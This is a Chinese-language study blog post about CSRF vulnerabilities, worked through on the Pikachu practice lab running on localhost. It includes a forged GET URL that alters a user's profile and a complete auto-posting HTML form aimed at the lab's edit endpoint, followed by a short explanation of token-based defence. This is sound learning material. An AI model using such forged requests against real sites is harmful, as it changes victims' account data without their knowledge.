时隔多天,我又回来啦!
今日份心灵鸡汤:
你要悄悄努力,然后惊艳所有人
今天是csrf漏洞的学习
csrf:跨站请求伪造,是通过利用cookie进行攻击,(与xss不同,xss是通过盗取cookie进行利用)是因为浏览器中cookie不会过期,默认了登录状态,攻击者发送构造好了的csrf脚本或者是包含了crsf脚本的链接执行一些非用户做的事情。
如何确认一个web系统存在CSRF漏洞:
1.对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造
比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造;
比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造;
2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)
虽然退出或者关闭了 浏览器,但cookie仍然有效 ,或者session并没有及时过期 ,导致CSRF攻击变的简单;
CSRF实战:(平台:pikachu)
GET:
用户登录进来后修改个人信息界面如下:
随便改一改进行抓包:
为了方便查看,原本我们抓包时候修改的是地址,修改成了xian,现在修改成tianjing
网址如下:
127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=tianjing&email=vince%40pikachu.com&submit=submit
这是第一次放包之后
这是输入了url后的结果:
如果在页面嵌入一个xss,就会让所有访问此页面的人都在不知不觉间进行了信息的修改。
POST:
上一个表单的提交方式是get,相对不那么安全,这次换成了POST,同样是修改信息,修改地址为xian,抓包
此时提交的数据都是post方式,不能直接进行url访问就能修改了,但却可以通过跳转的方式写html
最开始是tianjing,现在修改为xian
代码如下:(重点是action的跳转)
<html>
<title>
</title>
<body>
<form method="post" action="http://127.0.0.1//pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
<p class="per_name">姓名:vince</p>
<p class="per_sex">性别:<input type="text" name="sex" value="boy"/></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="18626545453"/></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="xian"/></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"/></p>
<input class="sub" type="submit" name="submit" value="submit"/>
</form>
</body>
</html>
提交跳转之后:
原界面刷新:
当然这里也可以直接使用bp的插件:
token:
csrf的主要问题是敏感操作容易被伪造,可以通过加入token来进行身份识别,前提是token要足够随机,不容易被伪造
同样抓包:
可以看见提交的数据里面多了token字段
由于token是随机生成的,所以很难进行csrf伪造